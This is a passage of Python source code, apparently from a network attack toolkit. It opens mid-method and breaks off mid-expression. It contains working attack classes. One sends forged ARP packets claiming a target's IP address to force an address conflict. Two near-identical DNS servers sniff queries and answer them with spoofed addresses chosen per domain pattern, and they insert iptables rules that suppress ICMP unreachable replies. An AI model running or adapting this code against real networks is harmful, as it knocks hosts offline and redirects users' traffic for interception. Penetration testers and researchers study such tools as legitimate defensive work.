self._retry_number = int(retry) # endregion # region Run _sniffer self._thread_manager.add_task(self._sniff) # endregion # region Run _sender self._send() # endregion # region Wait sleep(self._timeout) # endregion # region Return IPv6 router information if self._router_info is None: if exit_on_failure: self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface']) exit(1) return self._router_info
class NetworkConflictCreator: # region Variables _base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows']) _utils: Utils = Utils() _arp: RawARP = RawARP() _sniff: RawSniff = RawSniff() _thread_manager: ThreadManager = ThreadManager(2) _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None } _target: Dict[str, Union[None, str]] = { 'ipv4-address': None, 'mac-address': None } _conflict_packet: Dict[str, Union[None, bytes]] = { 'request': None, 'response': None } _replies: bool = False _requests: bool = False _make_conflict: bool = False _exit_on_success: bool = False # endregion # region Init def __init__(self, network_interface: str) -> None: """ Init :param network_interface: Network interface name (example: 'eth0') """ self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=[ 'mac-address', 'ipv4-address', 'first-ipv4-address', 'last-ipv4-address' ]) self._raw_send: RawSend = RawSend(network_interface=network_interface) # endregion # region Start Network Conflict Creator (ncc) def start(self, target_mac_address: Union[None, str] = None, target_ip_address: Union[None, str] = None, broadcast: bool = False, replies: bool = False, requests: bool = False, exit_on_success: bool = False, number_of_packets: int = 10) -> None: try: # region Set Variables self._replies = replies self._requests = requests self._exit_on_success = exit_on_success # endregion # region Check Target MAC- and IP-address if target_ip_address is not None: self._target = self._utils.set_ipv4_target( network_interface=self._your['network-interface'], target_ipv4_address=target_ip_address, target_mac_address=target_mac_address) # endregion # region Target IP address is not Set if self._target['ipv4-address'] is None: self._sniff_start() # endregion # region Target IP address is Set if self._target['ipv4-address'] is not None: # region Make ARP conflict packets self._conflict_packet['response'] = \ self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=self._target['mac-address'], sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac=self._target['mac-address'], target_ip=self._target['ipv4-address']) if broadcast: _destination_mac_address = 'ff:ff:ff:ff:ff:ff' else: _destination_mac_address = '33:33:00:00:00:01' _random_ip: str = self._base.get_random_ip_on_interface( self._your['network-interface']) self._conflict_packet['request'] = \ self._arp.make_request(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=_destination_mac_address, sender_mac=self._your['mac-address'], sender_ip=self._target['ipv4-address'], target_mac='00:00:00:00:00:00', target_ip=_random_ip) # endregion # region Start Sniffer in thread self._thread_manager.add_task(self._sniff_start) sleep(3) # endregion # region Send ARP reply packets if self._replies: self._base.print_info( 'Send only ARP reply packets to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['response'], count=number_of_packets, delay=0.5) # endregion # region Send ARP request packets elif self._requests: self._base.print_info( 'Send only Multicast ARP request packets to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['request'], count=number_of_packets, delay=0.5) # endregion # region Send Multicast ARP request packets else: current_number_of_packets: int = 0 while not self._make_conflict: if current_number_of_packets == number_of_packets: break else: self._base.print_info( 'Send Multicast ARP request to: ', str(self._target['ipv4-address']) + ' (' + str(self._target['mac-address']) + ')') self._raw_send.send_packet( packet=self._conflict_packet['request']) sleep(3) current_number_of_packets += 1 # endregion # endregion except KeyboardInterrupt: self._base.print_info('Exit NCC') exit(0) except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1) # endregion # region Send ARP reply packets def _reply(self, packet: Dict): try: if not self._replies and not self._requests: if 'ARP' in packet.keys(): if self._target['ipv4-address'] is not None: if packet['ARP']['sender-ip'] == self._target['ipv4-address'] and \ packet['ARP']['sender-mac'] == self._target['mac-address']: self._base.print_info( 'Send IPv4 Address Conflict ARP response to: ', self._target['ipv4-address'] + ' (' + self._target['mac-address'] + ')') self._make_conflict = True self._raw_send.send_packet( self._conflict_packet['response']) else: if packet['Ethernet']['destination'] == 'ff:ff:ff:ff:ff:ff' and \ packet['ARP']['opcode'] == 1 and \ packet['ARP']['sender-ip'] == packet['ARP']['target-ip']: self._base.print_info( 'Sniff Gratuitous ARP request for ', packet['ARP']['sender-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._base.print_info( 'Send Gratuitous ARP reply for ', packet['ARP']['sender-ip'] + ' (' + packet['Ethernet']['source'] + ')') self._raw_send.\ send_packet(self._arp.make_response(ethernet_src_mac=self._your['mac-address'], ethernet_dst_mac=packet['Ethernet']['source'], sender_mac=self._your['mac-address'], sender_ip=packet['ARP']['sender-ip'], target_mac=packet['Ethernet']['source'], target_ip=packet['ARP']['sender-ip'])) if 'DHCPv4' in packet.keys(): if packet['DHCPv4'][53] == 4: self._base.print_success( 'DHCPv4 Decline from: ', packet['DHCPv4'][50] + ' (' + packet['Ethernet']['source'] + ')', ' IPv4 address conflict detected!') if self._exit_on_success: self._make_conflict = True exit(0) if packet['DHCPv4'][53] == 3: if 50 in packet['DHCPv4'].keys(): if 'client-mac-address' in packet['DHCPv4'].keys(): if packet['DHCPv4'][ 'client-mac-address'] == self._target[ 'mac-address']: self._target['ipv4-address'] = str( packet['DHCPv4'][50]) self._base.print_success('DHCPv4 Request from: ', packet['Ethernet']['source'], ' requested ip: ', str(packet['DHCPv4'][50])) except KeyboardInterrupt: exit(0) except KeyError: pass except TypeError: pass # endregion # region ARP sniffer def _sniff_start(self): try: if self._target['ipv4-address'] is not None: self._base.print_info('Sniff ARP or DHCPv4 requests from: ', str(self._target['mac-address'])) self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'Ethernet': { 'source': self._target['mac-address'] }, 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))', scapy_lfilter=lambda eth: eth.src == self._target[ 'mac-address']) else: self._base.print_info('Sniff ARP or DHCPv4 requests ...') self._sniff.start( protocols=['ARP', 'IPv4', 'UDP', 'DHCPv4'], prn=self._reply, filters={ 'UDP': { 'source-port': 68, 'destination-port': 67 } }, network_interface=self._your['network-interface'], scapy_filter='arp or (udp and (port 67 or 68))') except KeyboardInterrupt: exit(0)
class RawDnsServer: # region Set properties base: Base = Base() sniff: RawSniff = RawSniff() dns: RawDNS = RawDNS() rawSocket: socket = socket(AF_PACKET, SOCK_RAW) your_ipv4_address: Union[None, str] = None your_ipv6_address: Union[None, str] = None config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict() A_DNS_QUERY: int = 1 AAAA_DNS_QUERY: int = 28 NS_DNS_QUERY: int = 2 MX_DNS_QUERY: int = 15 log_file_name: Union[None, str] = None log_file_format: Union[None, str] = None # endregion # region Init def __init__(self): # Iptables drop output ICMP and ICMPv6 destination-unreachable packets run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP', shell=True) run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP', shell=True) # endregion # region Write log file def _write_to_log(self, from_ip_address: str, to_ip_address: str, query_type: str, query_name: str, answer_address: str): if not isfile(self.log_file_name + '.' + self.log_file_format): with open(file=self.log_file_name + '.' + self.log_file_format, mode='w') as log_file: if self.log_file_format == 'csv': log_file.write( 'From IP address,To IP address,Query type,Query name,Answer address\n' ) if self.log_file_format == 'xml': log_file.write( '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n' ) if self.log_file_format == 'json': log_file.write('{\n"dns_queries": [\n') with open(file=self.log_file_name + '.' + self.log_file_format, mode='r+') as log_file: log_file_pointer: int = getsize(self.log_file_name + '.' + self.log_file_format) if self.log_file_format == 'csv' or self.log_file_format == 'txt': log_file.seek(log_file_pointer) log_file.write(from_ip_address + ',' + to_ip_address + ',' + query_type + ',' + query_name + ',' + answer_address + '\n') if self.log_file_format == 'json': if log_file_pointer > 20: log_file.seek(log_file_pointer - 4, 0) log_file.write(',') else: log_file.seek(log_file_pointer) dump( { 'from_ip_address': from_ip_address, 'to_ip_address': to_ip_address, 'query_type': query_type, 'query_name': query_name, 'answer_address': answer_address }, log_file, indent=4) log_file.write(']\n}\n') if self.log_file_format == 'xml': log_file.seek(log_file_pointer - 15, 0) log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' + from_ip_address + '</from_ip_address>\n' + '\t\t<to_ip_address>' + to_ip_address + '</to_ip_address>\n' + '\t\t<query_type>' + query_type + '</query_type>\n' + '\t\t<query_name>' + query_name + '</query_name>\n' + '\t\t<answer_address>' + answer_address + '</answer_address>\n' + '\t</dns_query>\n' + '</dns_queries>\n') # endregion # region DNS integer query type to string @staticmethod def _int_type_to_str_type(query_type: int = 1) -> str: if query_type == RawDnsServer.A_DNS_QUERY: return 'A' elif query_type == RawDnsServer.AAAA_DNS_QUERY: return 'AAAA' elif query_type == RawDnsServer.NS_DNS_QUERY: return 'NS' elif query_type == RawDnsServer.MX_DNS_QUERY: return 'MX' else: return 'A' # endregion # region DNS string query type to integer @staticmethod def _str_type_to_int_type(query_type: str = 'A') -> int: if query_type == 'A': return RawDnsServer.A_DNS_QUERY elif query_type == 'AAAA': return RawDnsServer.AAAA_DNS_QUERY elif query_type == 'NS': return RawDnsServer.NS_DNS_QUERY elif query_type == 'MX': return RawDnsServer.MX_DNS_QUERY else: return 1 # endregion # region Get first IPv4 or IPv6 address of domain @staticmethod def _get_domain_address(query_name: str, query_type: int = 1) -> Union[List[str], None]: # region Check DNS query type and set proto if query_type == RawDnsServer.AAAA_DNS_QUERY: proto: int = AF_INET6 elif query_type == RawDnsServer.A_DNS_QUERY: proto: int = AF_INET else: return None # endregion # region Resolve query name try: # Get list of addresses addresses = getaddrinfo(query_name, None, proto) # Return first address from list return [addresses[0][4][0]] except gaierror: # Could not resolve name return None # endregion # endregion # region DNS reply function def _reply(self, request: Dict) -> None: try: # region This request is DNS query assert 'DNS' in request.keys(), 'This is not DNS request!' for query in request['DNS']['queries']: # region Local variables assert ('IPv4' in request.keys() or 'IPv6' in request.keys()), 'Not found Network layer protocol!' ip_src: Union[None, str] = None ip_dst: Union[None, str] = None if 'IPv4' in request.keys(): ip_src: Union[None, str] = request['IPv4']['destination-ip'] ip_dst: Union[None, str] = request['IPv4']['source-ip'] if 'IPv6' in request.keys(): ip_src: Union[None, str] = request['IPv6']['destination-ip'] ip_dst: Union[None, str] = request['IPv6']['source-ip'] answers: List[Dict[str, Union[int, str]]] = list() addresses: Union[None, str, List[str]] = None success: bool = False # endregion # region Check query name if query['name'].endswith('.'): query['name']: str = query['name'][:-1] # endregion # region Check config for fake_domain_regexp in self.config.keys(): if match(fake_domain_regexp, query['name']): # region No such domain if 'no such domain' in self.config[ fake_domain_regexp].keys(): if self.config[fake_domain_regexp][ 'no such domain']: addresses = ['no such domain'] break # endregion # region Success domain if 'success' in self.config[fake_domain_regexp].keys(): if self.config[fake_domain_regexp]['success']: success = True # endregion # region Fake addresses is set query_type_string: str = self._int_type_to_str_type( query['type']) if query_type_string in self.config[ fake_domain_regexp].keys(): if type(self.config[fake_domain_regexp] [query_type_string]) is str: if self.config[fake_domain_regexp][ query_type_string] == 'my ipv4 address': addresses = [self.your_ipv4_address] elif self.config[fake_domain_regexp][ query_type_string] == 'my ipv6 address': addresses = [self.your_ipv6_address] else: addresses = [ self.config[fake_domain_regexp] [query_type_string] ] if type(self.config[fake_domain_regexp] [query_type_string]) is list: addresses = self.config[fake_domain_regexp][ query_type_string] break # endregion # region Fake address is NOT set else: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region DNS query name NOT in fake domains regexp list if addresses is None: addresses = self._get_domain_address( query['name'], query['type']) # endregion # endregion # region Answer addresses is set assert addresses is not None, 'Addresses in DNS answer is None!' # region Create answer list dns_answer_flags = 0x8080 for address in addresses: if address == 'no such domain': dns_answer_flags = 0x8183 answers = list() break else: answers.append({ 'name': query['name'], 'type': query['type'], 'class': query['class'], 'ttl': 65535, 'address': address }) # endregion # region Make dns answer packet dns_answer_packet: Union[ None, bytes] = self.dns.make_response_packet( ethernet_src_mac=request['Ethernet']['destination'], ethernet_dst_mac=request['Ethernet']['source'], ip_src=ip_src, ip_dst=ip_dst, udp_src_port=request['UDP']['destination-port'], udp_dst_port=request['UDP']['source-port'], transaction_id=request['DNS']['transaction-id'], flags=dns_answer_flags, queries=[query], answers_address=answers) # endregion # region Send DNS answer packet if dns_answer_packet is not None: self.rawSocket.send(dns_answer_packet) # endregion # region Print info message if success and query['name'] != '': self.base.print_success( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) if not success and query['name'] != '': self.base.print_info( 'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ', self._int_type_to_str_type(query['type']), ' domain: ', query['name'], ' answer: ', (', '.join(addresses))) self._write_to_log(from_ip_address=ip_dst, to_ip_address=ip_src, query_type=self._int_type_to_str_type( query['type']), query_name=query['name'], answer_address=(' '.join(addresses))) # endregion # endregion # endregion except AssertionError: pass # endregion # region Start DNS listener def listen(self, listen_network_interface: str = 'eth0', listen_port: int = 53, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, fake_answers: bool = False, fake_ipv4_addresses: List[str] = [], fake_ipv6_addresses: List[str] = [], fake_domains_regexp: List[str] = [], no_such_domains: List[str] = [], listen_ipv6: bool = False, disable_ipv4: bool = False, success_domains: List[str] = [], config_file: Union[None, str] = None, log_file_name: str = 'dns_server_log', log_file_format: str = 'csv') -> None: try: # region Set log file name and format self.log_file_name = log_file_name self.log_file_format = log_file_format # endregion # region Set listen UDP port if listen_port != 53: assert 0 < listen_port < 65536, \ 'Bad value in "listen_port": ' + self.base.error_text(str(listen_port)) + \ ' listen UDP port must be in range: ' + self.base.info_text('1 - 65535') # endregion # region Get your MAC, IP and IPv6 addresses your_mac_address = self.base.get_interface_mac_address( listen_network_interface) self.your_ipv4_address = self.base.get_interface_ip_address( listen_network_interface) self.your_ipv6_address = self.base.make_ipv6_link_address( your_mac_address) if listen_ipv6: self.your_ipv6_address = self.base.get_interface_ipv6_link_address( listen_network_interface) # endregion # region Bind raw socket self.rawSocket.bind((listen_network_interface, 0)) # endregion # region Check config file if config_file is not None: assert isfile( config_file ), 'Not found config file: ' + self.base.error_text( str(config_file)) with open(config_file, 'r') as config_file_descriptor: self.config = load(config_file_descriptor) # endregion # region Set fake ipv4 addresses if len(fake_ipv4_addresses) == 0: fake_ipv4_addresses = [self.your_ipv4_address] else: for fake_ipv4_address in fake_ipv4_addresses: assert self.base.ip_address_validation(fake_ipv4_address), \ 'Bad fake IPv4 address: ' + self.base.error_text(fake_ipv4_address) + \ ' example IPv4 address: ' + self.base.info_text('192.168.1.1') # endregion # region Set fake ipv6 addresses if len(fake_ipv6_addresses) == 0: fake_ipv6_addresses = [self.your_ipv6_address] else: for fake_ipv6_address in fake_ipv6_addresses: assert self.base.ipv6_address_validation(fake_ipv6_address), \ 'Bad fake IPv6 address: ' + self.base.error_text(fake_ipv6_address) + \ ' example IPv6 address: ' + self.base.info_text('fd00::1') # endregion # region Set success domains for success_domain in success_domains: try: self.config[success_domain].update({'success': True}) except KeyError: self.config[success_domain] = {'success': True} # endregion # region Set no such domains for no_such_domain in no_such_domains: try: self.config[no_such_domain].update( {'no such domain': True}) except KeyError: self.config[no_such_domain] = {'no such domain': True} # endregion # region Set fake domains regexp for fake_domain_regexp in fake_domains_regexp: try: self.config[fake_domain_regexp].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self.config[fake_domain_regexp] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Set fake answers if fake_answers: try: self.config['.*'].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self.config['.*'] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Check target MAC address if target_mac_address is not None: assert self.base.mac_address_validation(target_mac_address), \ 'Bad target MAC address: ' + self.base.error_text(target_mac_address) + \ ' example MAC address: ' + self.base.info_text('01:23:45:67:89:0a') self.target_mac_address = target_mac_address # endregion # region Check target IPv4 address if target_ipv4_address is not None: assert self.base.ip_address_validation(target_ipv4_address), \ 'Bad target IPv4 address: ' + self.base.error_text(target_ipv4_address) + \ ' example IPv4 address: ' + self.base.info_text('192.168.1.1') # endregion # region Check target IPv6 address if target_ipv6_address is not None: assert self.base.ipv6_address_validation(target_ipv6_address), \ 'Bad target IPv6 address: ' + self.base.error_text(target_ipv6_address) + \ ' example IPv6 address: ' + self.base.info_text('fd00::1') # endregion # region Sniffing DNS requests # region Set network filter network_filters = {} if listen_network_interface != 'lo': if target_mac_address is not None: network_filters['Ethernet'] = { 'source': target_mac_address } else: network_filters['Ethernet'] = { 'not-source': your_mac_address } if target_ipv4_address is not None: network_filters['IPv4'] = { 'source-ip': target_ipv4_address } if target_ipv6_address is not None: network_filters['IPv6'] = { 'source-ip': target_ipv6_address } network_filters['IPv4'] = {'not-source-ip': '127.0.0.1'} network_filters['IPv6'] = {'not-source-ip': '::1'} network_filters['UDP'] = {'destination-port': listen_port} else: network_filters['Ethernet'] = { 'source': '00:00:00:00:00:00', 'destination': '00:00:00:00:00:00' } network_filters['IPv4'] = { 'source-ip': '127.0.0.1', 'destination-ip': '127.0.0.1' } network_filters['IPv6'] = { 'source-ip': '::1', 'destination-ip': '::1' } network_filters['UDP'] = {'destination-port': listen_port} # endregion # region Start sniffer if listen_ipv6: if disable_ipv4: self.sniff.start(protocols=['IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IPv4', 'IPv6', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) else: self.sniff.start(protocols=['IPv4', 'UDP', 'DNS'], prn=self._reply, filters=network_filters) # endregion # endregion except AssertionError as Error: self.base.print_error(Error.args[0]) exit(1) except JSONDecodeError: self.base.print_error('Could not parse config file: ', config_file, ' invalid json syntax') exit(1)
class DnsServer: # region Set properties _base: Base = Base() _utils: Utils = Utils() _sniff: RawSniff = RawSniff() _dns: RawDNS = RawDNS() _your: Dict[str, Union[None, str]] = { 'network-interface': None, 'mac-address': None, 'ipv6-link-address': None, 'ipv4-address': None } _target: Dict[str, Union[None, str]] = { 'mac-address': None, 'ipv4-address': None, 'ipv6-address': None } _config: Dict[str, Dict[str, Union[bool, str, List[str]]]] = dict() _A_DNS_QUERY: int = 1 _AAAA_DNS_QUERY: int = 28 _NS_DNS_QUERY: int = 2 _MX_DNS_QUERY: int = 15 _log_file_name: Union[None, str] = None _log_file_format: Union[None, str] = None _quit: bool = False # endregion # region Init def __init__(self, network_interface: str): self._your = self._base.get_interface_settings( interface_name=network_interface, required_parameters=['mac-address', 'ipv4-address']) self._raw_send: RawSend = RawSend(network_interface=network_interface) if self._base.get_platform().startswith('Linux'): run('iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP', shell=True) run('ip6tables -I OUTPUT -p ipv6-icmp --icmpv6-type destination-unreachable -j DROP', shell=True) # endregion # region Start DNS Server def start(self, listen_port: int = 53, target_mac_address: Union[None, str] = None, target_ipv4_address: Union[None, str] = None, target_ipv6_address: Union[None, str] = None, fake_answers: bool = False, fake_ipv4_addresses: List[str] = [], fake_ipv6_addresses: List[str] = [], fake_domains_regexp: List[str] = [], no_such_domains: List[str] = [], listen_ipv6: bool = True, disable_ipv4: bool = False, success_domains: List[str] = [], config_file: Union[None, str] = None, log_file_name: str = 'dns_server_log', log_file_format: str = 'csv', quiet: bool = False) -> None: try: # region Variables self._log_file_name = log_file_name self._log_file_format = log_file_format self._quit = quiet # endregion # region Set listen UDP port if listen_port != 53: self._utils.check_value_in_range( value=listen_port, first_value=0, last_value=65536, parameter_name='listen UDP port') # endregion # region Check your IPv6 address if self._your['ipv6-link-address'] is None: self._your[ 'ipv6-link-address'] = self._base.make_ipv6_link_address( self._your['mac-address']) # endregion # region Check config file if config_file is not None: assert isfile( config_file ), 'Not found config file: ' + self._base.error_text( str(config_file)) with open(config_file, 'r') as config_file_descriptor: self._config = load(config_file_descriptor) # endregion # region Set fake ipv4 addresses if len(fake_ipv4_addresses) == 0: fake_ipv4_addresses = [self._your['ipv4-address']] else: for _fake_ipv4_address in fake_ipv4_addresses: self._utils.check_ipv4_address( network_interface=self._your['network-interface'], ipv4_address=_fake_ipv4_address, is_local_ipv4_address=False, parameter_name='fake IPv4 address') # endregion # region Set fake ipv6 addresses if len(fake_ipv6_addresses) == 0: fake_ipv6_addresses = [self._your['ipv6-link-address']] else: for _fake_ipv6_address in fake_ipv6_addresses: self._utils.check_ipv6_address( network_interface=self._your['network-interface'], ipv6_address=_fake_ipv6_address, is_local_ipv6_address=False, parameter_name='fake IPv6 address', check_your_ipv6_address=False) # endregion # region Set success domains for success_domain in success_domains: try: self._config[success_domain].update({'success': True}) except KeyError: self._config[success_domain] = {'success': True} # endregion # region Set no such domains for no_such_domain in no_such_domains: try: self._config[no_such_domain].update( {'no such domain': True}) except KeyError: self._config[no_such_domain] = {'no such domain': True} # endregion # region Set fake domains regexp for _fake_domain_regexp in fake_domains_regexp: try: self._config[_fake_domain_regexp].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self._config[_fake_domain_regexp] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Set fake answers if fake_answers: try: self._config['.*'].update({ 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses }) except KeyError: self._config['.*'] = { 'A': fake_ipv4_addresses, 'AAAA': fake_ipv6_addresses } # endregion # region Check target MAC address if target_mac_address is not None: self._target['mac-address'] = self._utils.check_mac_address( mac_address=target_mac_address, parameter_name='target MAC address') # endregion # region Check target IPv4 address if target_ipv4_address is not None: self._target['ipv4-address'] = \ self._utils.check_ipv4_address(network_interface=self._your['network-interface'], ipv4_address=target_ipv4_address, is_local_ipv4_address=False, parameter_name='target IPv4 address') # endregion # region Check target IPv6 address if target_ipv6_address is not None: self._target['ipv6-address'] = \ self._utils.check_ipv6_address(network_interface=self._your['network-interface'], ipv6_address=target_ipv6_address, is_local_ipv6_address=False, parameter_name='target IPv6 address') # endregion # region Script arguments condition check and print info message if not self._quit: # region Argument fake_answer is set if fake_answers: if not disable_ipv4: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for all DNS queries') if len(fake_ipv6_addresses) > 0: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for all DNS queries') # endregion # region Argument fake_answer is NOT set else: # region Fake domains list is set if len(fake_domains_regexp) > 0: if len(fake_ipv4_addresses) > 0: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for domains: [', (', '.join(fake_domains_regexp)), ']') if len(fake_ipv6_addresses) > 0: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for domains: [', (', '.join(fake_domains_regexp)), ']') # endregion # region Fake domains list is NOT set else: if fake_ipv4_addresses != [self._your['ipv4-address']]: self._base.print_info( 'DNS answer fake IPv4 addresses: [', (', '.join(fake_ipv4_addresses)), '] for all DNS queries') if fake_ipv6_addresses != [ self._your['ipv6-link-address'] ]: self._base.print_info( 'DNS answer fake IPv6 addresses: [', (', '.join(fake_ipv6_addresses)), '] for all DNS queries') # endregion # endregion # region Print info message self._base.print_info('Waiting for a DNS requests ...') # endregion # endregion # region Sniffing DNS requests # region Set network filter sniff_filters: Dict = {'UDP': {'destination-port': listen_port}} if self._your['network-interface'] != 'lo': if self._target['mac-address'] is not None: sniff_filters['Ethernet'] = { 'source': self._target['mac-address'] } else: sniff_filters['Ethernet'] = { 'not-source': self._your['mac-address'] } if self._target['ipv4-address'] is not None: sniff_filters['IPv4'] = { 'source-ip': self._target['ipv4-address'] } if self._target['ipv6-address'] is not None: sniff_filters['IPv6'] = { 'source-ip': self._target['ipv6-address'] } sniff_filters['IPv4'] = {'not-source-ip': '127.0.0.1'} sniff_filters['IPv6'] = {'not-source-ip': '::1'} else: sniff_filters['Ethernet'] = { 'source': '00:00:00:00:00:00', 'destination': '00:00:00:00:00:00' } sniff_filters['IPv4'] = { 'source-ip': '127.0.0.1', 'destination-ip': '127.0.0.1' } sniff_filters['IPv6'] = { 'source-ip': '::1', 'destination-ip': '::1' } # endregion # region Start sniffer if listen_ipv6: if disable_ipv4: self._sniff.start( protocols=['IPv6', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='ip6 and udp port ' + str(listen_port)) else: self._sniff.start( protocols=['IPv4', 'IPv6', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='udp port ' + str(listen_port)) else: self._sniff.start( protocols=['IPv4', 'UDP', 'DNS'], prn=self._reply, filters=sniff_filters, network_interface=self._your['network-interface'], scapy_filter='udp port ' + str(listen_port)) # endregion # endregion except AssertionError as Error: self._base.print_error(Error.args[0]) exit(1) except JSONDecodeError: self._base.print_error('Could not parse config file: ', config_file, ' invalid json syntax') exit(1) except KeyboardInterrupt: self._base.print_info('Exit ....') exit(0) # endregion # region Write log file def _write_to_log(self, from_ip_address: str, to_ip_address: str, query_type: str, query_name: str, answer_address: str): if not isfile(self._log_file_name + '.' + self._log_file_format): with open(file=self._log_file_name + '.' + self._log_file_format, mode='w') as log_file: if self._log_file_format == 'csv': log_file.write( 'From IP address,To IP address,Query type,Query name,Answer address\n' ) if self._log_file_format == 'xml': log_file.write( '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n' ) if self._log_file_format == 'json': log_file.write('{\n"dns_queries": [\n') with open(file=self._log_file_name + '.' + self._log_file_format, mode='r+') as log_file: log_file_pointer: int = getsize(self._log_file_name + '.' + self._log_file_format) if self._log_file_format == 'csv' or self._log_file_format == 'txt': log_file.seek(log_file_pointer) log_file.write(from_ip_address + ',' + to_ip_address + ',' + query_type + ',' + query_name + ',' + answer_address + '\n') if self._log_file_format == 'json': if log_file_pointer > 20: log_file.seek(log_file_pointer - 4, 0) log_file.write(',') else: log_file.seek(log_file_pointer) dump( { 'from_ip_address': from_ip_address, 'to_ip_address': to_ip_address, 'query_type': query_type, 'query_name': query_name, 'answer_address': answer_address }, log_file, indent=4) log_file.write(']\n}\n') if self._log_file_format == 'xml': log_file.seek(log_file_pointer - 15, 0) log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' + from_ip_address + '</from_ip_address>\n' + '\t\t<to_ip_address>' + to_ip_address + '</to_ip_address>\n' + '\t\t<query_type>' + query_type + '</query_type>\n' + '\t\t<query_name>' + query_name + '</query_name>\n' + '\t\t<answer_address>' + answer_address + '</answer_address>\n' + '\t</dns_query>\n' + '</dns_queries>\n') # endregion # region DNS integer query type to string @staticmethod def _int_type_to_str_type(query_type: int = 1) -> str: if query_type == DnsServer._A_DNS_QUERY: return 'A' elif query_type == DnsServer._AAAA_DNS_QUERY: return 'AAAA' elif query_type == DnsServer._NS_DNS_QUERY: return 'NS' elif query_type == DnsServer._MX_DNS_QUERY: return 'MX' else: return 'A' # endregion # region DNS string query type to integer @staticmethod def _str_type_to_int_type(query_type: str = 'A') -> int: if query_type == 'A': return DnsServer._A_DNS_QUERY elif query_type == 'AAAA': return DnsServer._AAAA_DNS_QUERY elif query_type == 'NS': return DnsServer._NS_DNS_QUERY elif query_type == 'MX': return DnsServer._MX_DNS_QUERY else: return 1 # endregion # region Get first IPv4 or IPv6 address of domain @staticmethod def _get_domain_address(query_name: str, query_type: int = 1) -> Union[List[str], None]: # region Check DNS query type and set proto if query_type == DnsServer._AAAA_DNS_QUERY: proto: int = AF_INET6 elif query_type == DnsServer._A_DNS_QUERY: proto: int = AF_INET else: return None # endregion # region Resolve query name try: # Get list of addresses addresses = getaddrinfo(query_name, None, proto) # Return first address from list return [addresses[0][4][0]] except gaierror: # Could not resolve name return None # endregion # endregion # region DNS reply function def _reply(self, request: Dict) -> None: try: # region This request is DNS query assert 'DNS' in request.keys(), 'This is not DNS request!' for query in request['DNS']['queries']: # region Local variables assert ('IPv4' in request.keys() or 'IPv6' in request.keys()), 'Not found Network layer protocol!' ip_src: Union[None, str] = None ip_dst: Union[None, str] = None if 'IPv4' in request.keys(): ip_src: Union[None, str] = request['IPv4']['destination-ip'] ip_dst: Union[None, str] = request['IPv4']['source-ip'] if 'IPv6' in request.keys(): ip_src: Union[None, str] = request['IPv6']['destination-ip'] ip_dst: Union[None, str] = request['IPv6']['source-ip'] answers: List[Dict[str, Union[int, str]]] = list() addresses: Union[None, str, List[str]] = None success: bool = False # endregion # region Check query name if query['name'].endswith('.'): query['name']: str = query['name'][:-1] # endregion # region Check config for fake_domain_regexp in self._config.keys(): if match(fake_domain_regexp, query['name']): # region No such domain if 'no such domain' in self._config[ fake_domain_regexp].keys(): if self._config[fake_domain_regexp][ 'no such domain']: addresses = ['no such domain'] break # endregion # region Success domain if 'success' in self._config[fake_domain_regexp].keys( ): if self._config[fake_domain_regexp]['success']: success = True # endregion # region Fake addresses is set query_type_string: str = self._int_type_to_str_type( query['type']) if query_type_string in self._config[ fake_domain_regexp].keys(): if type(self._config[fake_domain_regexp] [query_type_string]) is str: if self._config[fake_domain_regexp][ query_type_string] == 'my ipv4 address': addresses = [self._your['ipv4-address']] elif self._config[fake_domain_regexp][ query_type_string] == 'my ipv6 address': addresses = [ self._your['ipv6-link-address'] ] else: addresses = [ self._config[fake_domain_regexp] [query_type_string] ] if 